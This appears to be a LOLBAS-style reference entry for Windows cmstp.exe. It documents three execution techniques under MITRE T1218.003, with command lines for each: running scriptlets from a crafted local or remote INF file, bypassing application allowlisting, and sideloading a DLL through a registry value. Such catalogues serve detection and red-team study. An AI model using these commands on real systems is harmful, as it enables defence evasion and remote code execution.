Cmstp.exe

type: OSBinaries
Installs or removes a Connection Manager service profile.

Full path

C:\Windows\System32\cmstp.exe
C:\Windows\SysWOW64\cmstp.exe

Commands

  1. ExecuteUser T1218.003

    Execute code hidden within an inf file. Download and run scriptlets from internet.

    cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}

    Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: INF

  2. AWL BypassUser T1218.003

    Execute code hidden within an inf file. Execute code directly from Internet.

    cmstp.exe /ni /s {REMOTEURL:.inf}

    Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10

    Execute: INFExecute: Remote

  3. ExecuteAdministrator T1218.003

    Proxy execution of a malicious DLL via registry modification.

    cmstp.exe /nf

    cmstp.exe reads the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll registry value and passes its data directly to LoadLibrary. By modifying this registry key and setting it to an attack-controlled DLL, this will sideload the DLL via cmstp.exe.

    os: Windows 10, Windows 11

    Execute: DLLRequires: Registry Change

Detection

Resources

acknowledgement: Oddvar Moe @oddvarmoe, Nick Tyrer @NickTyrer, Naor Evgi @ghosts621